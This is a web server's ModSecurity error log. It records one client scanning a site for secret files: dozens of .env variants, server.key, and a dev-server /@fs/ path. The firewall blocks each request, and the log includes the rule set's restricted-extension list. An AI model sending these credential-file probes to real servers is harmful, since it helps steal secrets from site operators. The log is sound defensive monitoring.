[Mon Oct 26 07:05:04.342340 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at8z4P2f_7_KPo47JjIUaQAAAAk"]
[Mon Oct 26 07:05:04.342610 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at8z4P2f_7_KPo47JjIUaQAAAAk"]
[Mon Oct 26 07:05:04.343021 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at8z4P2f_7_KPo47JjIUaQAAAAk"]
[Mon Oct 26 07:05:04.343840 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at8z4BS_7eBZ2SvQo609BgAAAAo"]
[Mon Oct 26 07:05:04.344009 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at8z4BS_7eBZ2SvQo609BgAAAAo"]
[Mon Oct 26 07:05:04.344261 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at8z4BS_7eBZ2SvQo609BgAAAAo"]
[Mon Oct 26 07:05:04.465906 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at8z4J_dbg3ptBnwDgQ3iQAAAAM"]
[Mon Oct 26 07:05:04.466181 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at8z4J_dbg3ptBnwDgQ3iQAAAAM"]
[Mon Oct 26 07:05:04.466461 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at8z4J_dbg3ptBnwDgQ3iQAAAAM"]
[Mon Oct 26 07:05:04.552486 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at8z4APZVv3Il2lbVePvkAAAAAQ"]
[Mon Oct 26 07:05:04.552716 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at8z4APZVv3Il2lbVePvkAAAAAQ"]
[Mon Oct 26 07:05:04.553018 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at8z4APZVv3Il2lbVePvkAAAAAQ"]
[Mon Oct 26 07:05:04.581924 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at8z4BJqpTbSe9f2_suCwwAAAAc"]
[Mon Oct 26 07:05:04.582192 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at8z4BJqpTbSe9f2_suCwwAAAAc"]
[Mon Oct 26 07:05:04.582493 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at8z4BJqpTbSe9f2_suCwwAAAAc"]
[Mon Oct 26 07:05:05.085989 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at8z4U5VL05DK7ky7IO-SgAAAA4"]
[Mon Oct 26 07:05:05.086279 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at8z4U5VL05DK7ky7IO-SgAAAA4"]
[Mon Oct 26 07:05:05.086648 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at8z4U5VL05DK7ky7IO-SgAAAA4"]
[Mon Oct 26 07:05:05.109251 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at8z4bkwJvKDxgyGEF95iAAAABE"]
[Mon Oct 26 07:05:05.109517 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at8z4bkwJvKDxgyGEF95iAAAABE"]
[Mon Oct 26 07:05:05.109845 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at8z4bkwJvKDxgyGEF95iAAAABE"]
[Mon Oct 26 07:05:05.126805 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at8z4YeGqS3CXz8ptQGTqgAAAAI"]
[Mon Oct 26 07:05:05.126847 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at8z4QPZVv3Il2lbVePvkQAAAAQ"]
[Mon Oct 26 07:05:05.127024 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at8z4YeGqS3CXz8ptQGTqgAAAAI"]
[Mon Oct 26 07:05:05.127114 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at8z4QPZVv3Il2lbVePvkQAAAAQ"]
[Mon Oct 26 07:05:05.127283 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at8z4YeGqS3CXz8ptQGTqgAAAAI"]
[Mon Oct 26 07:05:05.127350 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at8z4QPZVv3Il2lbVePvkQAAAAQ"]
[Mon Oct 26 07:05:05.127353 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at8z4YeGqS3CXz8ptQGTqgAAAAI"]
[Mon Oct 26 07:05:05.127376 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at8z4YeGqS3CXz8ptQGTqgAAAAI"]
[Mon Oct 26 07:05:05.128492 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at8z4RJqpTbSe9f2_suCxAAAAAc"]
[Mon Oct 26 07:05:05.128627 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at8z4RJqpTbSe9f2_suCxAAAAAc"]
[Mon Oct 26 07:05:05.128847 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at8z4Z_dbg3ptBnwDgQ3igAAAAM"]
[Mon Oct 26 07:05:05.128875 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at8z4RJqpTbSe9f2_suCxAAAAAc"]
[Mon Oct 26 07:05:05.128983 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at8z4Z_dbg3ptBnwDgQ3igAAAAM"]
[Mon Oct 26 07:05:05.129204 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at8z4Z_dbg3ptBnwDgQ3igAAAAM"]
[Mon Oct 26 07:05:05.130007 2026] [security2:error] [pid 3017837:tid 3017837] [client 34.39.164.1:47362] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at8z4d-yjkEg7CpH4KyFPgAAAAE"]
[Mon Oct 26 07:05:05.130175 2026] [security2:error] [pid 3017837:tid 3017837] [client 34.39.164.1:47362] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at8z4d-yjkEg7CpH4KyFPgAAAAE"]
[Mon Oct 26 07:05:05.130419 2026] [security2:error] [pid 3017837:tid 3017837] [client 34.39.164.1:47362] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at8z4d-yjkEg7CpH4KyFPgAAAAE"]
[Mon Oct 26 07:05:05.137537 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at8z4f2f_7_KPo47JjIUagAAAAk"]
